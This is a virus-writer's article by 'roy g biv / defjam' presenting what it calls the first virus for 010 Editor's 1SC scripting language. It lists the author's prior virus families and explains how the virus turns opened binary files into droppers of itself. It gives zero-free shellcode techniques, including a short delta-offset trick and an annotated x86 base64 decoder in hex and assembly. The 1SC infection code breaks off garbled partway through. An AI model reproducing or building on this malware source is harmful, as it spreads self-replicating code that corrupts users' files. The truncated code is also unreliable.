010 Editor Scripts roy g biv / defjam -= defjam =- since 1992 bringing you the viruses of tomorrow today! Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world's first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of world's first XMS swapping virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is swapped out). Author of world's first virus using Thread Local Storage for replication (Shrug, see Virus Bulletin 6/02 for a description, but they call it Chiton), world's first virus using Visual Basic 5/6 language extensions for replication (OU812), world's first Native executable virus (Chthon), world's first virus using process co-operation to prevent termination (Gemini, see Virus Bulletin 9/02 for a description), world's first virus using polymorphic SMTP headers (JunkMail, see Virus Bulletin 11/02 for a description), world's first viruses that can convert any data files to infectable objects (Pretext), world's first 32/64-bit parasitic EPO .NET virus (Croissant, see Virus Bulletin 11/04 for a description, but they call it Impanate), world's first virus using self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03 for a description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus Bulletin 6/04 for a description, but they call it Rugrat), world's first virus for Win64 on AMD AMD64 (Shrug), world's first cross-infecting virus for Intel IA32 and AMD AMD64 (Shrug), world's first viruses that infect Office applications and script files using the same code (Macaroni, see Virus Bulletin 11/05 for a description, but they call it Macar), world's first viruses that can infect both VBS and JScript using the same code (ACDC, see Virus Bulletin 11/05 for a description, but they call it Cada), world's first virus that can infect CHM files (Charm, see Virus Bulletin 10/06 for a description, but they call it Chamb), world's first IDA plugin virus (Hidan, see Virus Bulletin 3/07 for a description), world's first viruses that use the Microsoft Script Encoder to dynamically encrypt the virus body (Screed), world's first virus for StarOffice and OpenOffice (Starbucks), world's first virus IDC virus (ID10TiC), world's first polymorphic virus for Win64 on AMD AMD64 (Boundary, see Virus Bulletin 12/06 for a description, but they call it Bounds), world's first virus that can infect Intel-format and PowerPC-format Mach-O files (MachoMan, see Virus Bulletin 01/07 for a description, but they call it Macarena), world's first virus that uses Unicode escapes to dynamically encrypt the virus body, world's first self-executing PIF (Spiffy), world's first self-executing LNK (WeakLNK), world's first virus that uses virtual code (Relock), world's first virus to use FSAVE for instruction reordering (Mimix), world's first virus for ODbgScript (Volly), world's first Hiew plugin virus (Hiewg), world's first virus that uses fake BOMs (Bombastic), world's first virus that uses JScript prototypes to run itself (Protato), and world's first virus that uses Heaven's Gate for replication (Heaven). Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). This is my first virus for 010 Editor script. It is the world's first virus for 010 Editor script. What is it? Many people know about the 010 Editor. It is a great tool for examining file structure using templates. It supports a scripting language called 1SC. 010 Editor has a powerful scripting engine that allows many tasks to be automated, including infecting files. ;) 1SC language It became obvious to me when I first saw 010 Editor script, that I could write a virus in it. When a file is opened, it can be written unless it has the read-only attribute set. This is by design, of course. So it became a matter of writing code to infect the files, but how can a script infect a binary file? The infection is really just making the binary file into a dropper of the script. There is nothing special here. Limitations Of course there were some problems. The 1SC language does not support casting of variables, so you cannot build an integer from an array of chars. You have to work with the chars one by one. That was annoying but I did that. Next challenge was to insert binary code into a binary file. This requires a string of binary characters. The problem is that strings cannot contain any zeroes, otherwise the length is where the zero is. There are two solutions to this problem. One solution is to write the code with no zeroes, but this is really hard for large programs. Another solution is encode the string. We can use any character except zero in the string, so if we have an unused value then we can XOR all of the bytes with that value. But if we have no unused value then we have no luck there. We can encode the string in another way, such as convert to printable text with an IMUL decoder. This doubles the size of the string, so that's not good either. I made a base128 encoder that sets bit 7 in every byte, and decoder is only 26 bytes, but then every byte must be escaped which triples the size of the string. Finally, I chose a base64 encoder. The string is only 1/3 larger and decoder is only 64 bytes because uses no dictionary. Delta offset The base64 decoder contains no zeroes and supports ASLR using a trick that I never saw before. It seems that everyone copies everyone else to get delta offset without any zeroes, like this: eb03 ;jmp fwd back:5e ;pop esi eb05 ;jmp ok fwd: e8f8ffffff ;call back ok: 10 bytes. How about we do it in 7? e8ffffffff ;call $-1 ;points to ff c0 ;ffc0=inc eax 5e ;pop esi Base64 Here's the rest of the base64 decoder: 83C632 ;add esi, $+34h 8BFE ;mov edi, esi b64decode proc near AD ;lods dword ptr [esi] 6A04 ;push 4 59 ;pop ecx b64_inner label near C1C008 ;rol eax, 8 3C30 ;cmp al, '0' 7305 ;jnb b64_testchar 2C43 ;sub al, -(('/' shl 2) + 1) and 0ffh C0E802 ;shr al, 2 ;'+' and '/' differ by only 1 bit b64_testchar label near 0404 ;add al, 4 3C3F ;cmp al, 3fh 7608 ;jbe b64_store 2C45 ;sub al, 45h 3C19 ;cmp al, 19h 7602 ;jbe b64_store 2C06 ;sub al, 6 b64_store label near 0FACC206 ;shrd edx, eax, 6 E2E0 ;loop b64_inner 92 ;xchg edx, eax 0FC8 ;bswap eax AB ;stos dword ptr [edi] 4F ;dec edi 803E ;cmp byte ptr [esi], ... 49485853 ;base64-encoded cmp byte and branch Here is the 1SC code: int a=,c=FileSize(),d,f,g,h,i,j,k,l; char b[a]="",e[96]; if(c>64) { d=ReadInt(60); /* read lfanew */ if(d+96=k&&l